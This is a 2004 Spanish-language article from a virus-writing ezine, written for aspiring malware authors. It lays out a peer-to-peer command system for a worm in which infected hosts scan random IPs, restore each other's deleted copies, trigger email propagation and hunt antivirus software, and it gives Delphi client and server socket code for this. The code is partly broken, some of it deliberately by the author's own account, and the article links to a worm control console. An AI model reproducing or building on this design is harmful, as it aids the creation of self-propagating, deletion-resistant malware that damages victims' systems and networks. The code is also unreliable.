Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 02 017
(C) MITOSIS #2 E-Zine/GEDZAC 2004
Tema : TCP WORM COMUNICATION SYSTEM
Autor : Byt3Cr0w
Válido para : Delphi (probado en Delphi 6) puede ser adaptado a otros lenguajes
Buenasss, bueno aqui lo que voy a tratar de explicar es un metodo sencillo pero
efectivo que yo llamo orgullosamente TCP WORM COMUNICATION SYSTEM.... ¿por que el
nombre? bueno pues eso es lo que voy a explicar a continuacion...
TEORIA
------
Mi teoria consiste en que un worm (dropper) genere al ejecutarse un componente
ejecutable, llamemoslo TWCS.exe.... la idea es que este componente abra algun
puerto TCP en otras palabras este componente es un server y un cliente el compo-
nente estara todo el tiempo ejecutandose en memoria generando Ip aleatorias luego
de generar una IP el componente se trata de conectar a la maquina, si esta a sido
infectada por el worm entonces tendra el puerto abierto y podra conectarse con
ella; si logra conectarse entonces aqui viene lo bueno...
*************************************************************************
*************************************************************************
**DEFINICIONES: **
**CompA = Cliente(el que se conecta con la maquina) **
**CompB = Server(maquina remota con la que el cliente logra conectarse)**
**WormMadre = este es el worm que solto al componente **
*************************************************************************
*************************************************************************
Si CompA logra conectarse exitosamente con CompB entonces CompA empieza a enviar
instrucciones a CompB, por ejemplo:
CompA = "Revisa tus Copias"
entonces CompB respondera a las instrucciones con acciones por ejemplo:
si CompB recive la instruccion "Revisa tus copias" entonces este procedera a
revisar las copias del WormMadre, si sus copias estan dañadas o han sido
borradas, entonces el CompB procede a restaurar las copias originales del
WormMadre.
Despues de esto CompB le responderia a CompA con instrucciones.
Aqui esta un ejemplo completo:
CompA = Envia Instruccion : "Revisa tus Copias P2P"
CompB = Accion: Revisa las copias del WormMadre en las carpetas
P2P y las arregla
CompB = Envia Instruccion : "P2P Ready..."
CompA = Envia Instruccion : "Revisa tus Copias..."
CompB = Accion: Revisa las copias del WormMadre y las restaura.
CompB = Envia Instruccion : "Copias Ready..."
CompA = Envia Instruccion : "INICIA SMTP"
CompB = Accion: Inicia la propagacion por e.mail
CompB = Envia Instruccion : "SMTP INICIADO"
CompA = Envia Instruccion : "Revisa tus Copias..."
CompB = Accion: Revisa las copias del WormMadre y las restaura.
CompB = Envia Instruccion : "Copias Ready..."
CompA = Envia Instruccion : "AV HUNT"
CompB = Accion : Busca AV y los destruye
CompB = Envia Instruccion : "AV CLEAR"
CompA = Envia Instruccion : "Revisa tus Copias..."
CompB = Accion: Revisa las copias del WormMadre y las restaura.
CompB = Envia Instruccion : "Copias Ready..."
*********************************************************************************
**Nota = Como puedes ver despues de cada instruccion el CompA envia la **
** instruccion "Revisa copias", esto es para provocar un efecto **
** anti-delete, que es provocado si el worm tiene infectadas muchas **
** maquinas, entonces mas o menos como cada 5 segundos 2 maquinas se **
** conectan y pues si el infectado trata de borrar algun archivo **
** pues entre 2 y 5 segundos este archivo se volvera a generar :D **
*********************************************************************************
Esto solo es un pequeño ejemplo puedes enviar muchas instrucciones que le harian
bien a tu worm o virus, claro que para que se agilice el proceso el CompA al
conectarse con el CompB envia la instruccion : "Nececitas ayuda?" al recibir esa
instruccion el CompB busca si hay algun fallo... si no estan algunos archivos...
o si las entradas en el registro estan dañadas, etc... si no encuentra ninguna
anomalia entonces envia la instruccion "No, gracias" al recibir esta informacion
el CompA automaticamente se desconecta del CompB y genera otra IP aleatoria para
conectarse, pero si el CompB encontro alguna anomalia entonces envia la instruc-
cion : "Nececito ayuda" al CompA recibir esta instruccion empieza todo el proceso
anteriormente visto :) luego de enviar todos los comandos el CompA envia la
Instruccion : "Ready?" el CompB hace otra vez la revision y busqueda de Anomalias
y si todo esta bien entonces envia la instruccion : "Ready to go...thanx!" al
CompA recibir esta info, se desconecta y empieza el proceso de conexion.
(si CompB envia la instruccion: "Not Ready..." entonces el CompA empieza de nuevo
a enviar instrucciones)
Si logramos que el worm infecte muchas maquinas obtendremos con esto un efecto
anti-delete en nuestro worm, claro esta que para lograr esto la victima necesita
estar conectado a la internet, sin esto este componente seria obsoleto, para
contrarestar esto pues tendriamos que hacer un componente Offline pero no funcio-
naria igual...eso en la proxima e-zine ;)
Estos son los efectos que podria causar esta tecnica:
* Efecto Anti-Delete de un worm (no funciona con VIRUS)
* Desbordamiento de trafico *puede causar un desastre si se propaga mucho
* Puede servir como un buen Backdoor ya que trabaja de la misma manera
ahora venimos con la practica :P
··:.......PRAKTIK........--------------------------------------------------------
Lo primero es generar nuestra IP aleatoria....eso te lo voy a dejar a ti (esfuér-
zate un poco) pero para darte una idea lo podemos hacer con el Api GetTickCount,
este API sirve para saber los milisegundos que lleva Windows ejecutandose; voy a
darte un ejemplo pero tienes que corregir un error en las variables a poco y
crees que te voy a dejar todo tan facil? ;)
RandomIP(zx:pchar):integer;
var
iphexa : Dword;
aleatorio: Dword;
begin
aleatorio:=GetTickCount; //aqui llamos al API
Inet_ntoa(aleatorio); //hacemos que retorne la respuesta a la variable ALEATORIO
zx:= aleatorio; //nuestra IP se guardara en ZX
con esto podemos generar una IP Aleatoria basandonos en los milisegundos...
ahora que ya generamos una IP aleatoria agregamos los componentes:
-ClientSocket
-ServerSocket
-Memo1 - name = Instructions
agregamos las siguientes lineas:
*********************************************************************************
procedure TForm1.FormCreate(Sender: TObject);
begin
Instructions.Clear;
ClientSocket1.RemoteHost := zx; //tratamos de conectar con nuestra IP Generada
ClientSocket1.Active := True; //marcamos al cliente como activo
end;
*********************************************************************************
procedure TForm1.ClientSocket1Connect(Sender: TObject);
begin
ClientSocket1.Socket.SendText('Nesecitas ayuda?'); //mandamos instruccion
Sleep(10000); //dormimos 10000 milisegundos
If Instructions.Text='Si nesecito ayuda' Then //leemos la respuesta y comparamos
Sleep(10000); //dormimos 10000 milisegundos
Instructions.Clear; //limpiamos el Memo
ClientSocket1.Socket.SendText('Revisa tu copia');
Sleep(10000)
else ClientSocket1.Active = false; //desconectamos
end;
Instructions.Clear;
If Instructions.Text = 'Copias Revisadas' then
Sleep(10000);
Instructions.Clear;
ClientSocket1.Socket.SendText('estas listo?');
Sleep(10000)
else ClientSocket1.Active := false;
end;
Instructions.Clear;
If Instructions.Text = 'estoy listo' then
ClientSocket1.Active := false;
else ClientSocket1.Socket.SendText('Revisa tu copia');
end;
*********************************************************************************
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
Instructions.Lines.Add(Socket.ReceiveText);
end;
*********************************************************************************
procedure TfrmServidor.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
MyInstruction.Lines.Add(Socket.ReceiveText); := Socket.ReceiveText;
end;
*********************************************************************************
procedure TfrmServidor.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
//leemos el mensaje que nos ha llegado:
If MyInstructions.Text := 'Nesecitas ayuda?' then
//si nos pregunta si nesecitamos ayuda buscamos fallas:
If FileExists('c:\MiCopia.exe') then
Socket.SendText('No'); //si no hay fallos enviamos la isntruccion NO
//pero si encontramos entonces pedimos ayuda:
else Socket.SendText('si nesecito ayuda');
Sleep(10000); //dormimos
MyInstructions.Clear; //limpiamos
If MyInstructions.Text = 'Revisa tu copia' //revisamos instrucciones
If FileExists('c:\MiCopia.exe') then //cumplimos instruccion
Socket.SendText('estoy listo') //enviamos instruccion
else //si no esta nuetsra copia...
copyfile('worm.exe','c:\MiCopia.exe',true); //nos copiamos
MyInstructions.Clear; //limpiamos
Socket.SendText('Copias Revisadas') //enviamos instruccion
end;
Sleep(10000); //dormimos
If MyInstruction.Text = 'estas listo?' Then //revisamos...
If FileExists('c:\MiCopia.exe') then //volvemos a buscar fallas
MyInstructions.Clear; //limpiamos
//enviamos inst...si todavia hay fallos entonces...
Socket.SendText('estoy listo') else
MyInstructions.Clear; //limpiamos
Socket.SendText('no estoy listo') //enviamos instruccion...
end;
*********************************************************************************
con esto ya podemos tener nuestro TCP WORM COMUNICATION SYSTEM pero muy simple
claro que le puedes agregar mas instrucciones y hacerlo mas complejo...
como ya sabes este sistema es parecido al utilizado por troyanos o backdoors
en otras palabras podemos convertir a nuestro worm en un WORM-TROJAN...
Como?
eso en la proxima E-zine!
pero mientras tanto te puedes bajar un programa para conectarte con tus gusanos..
http://www.byt3crow-twcsconsole.tk
(C) MITOSIS #2 E-Zine/GEDZAC 2004
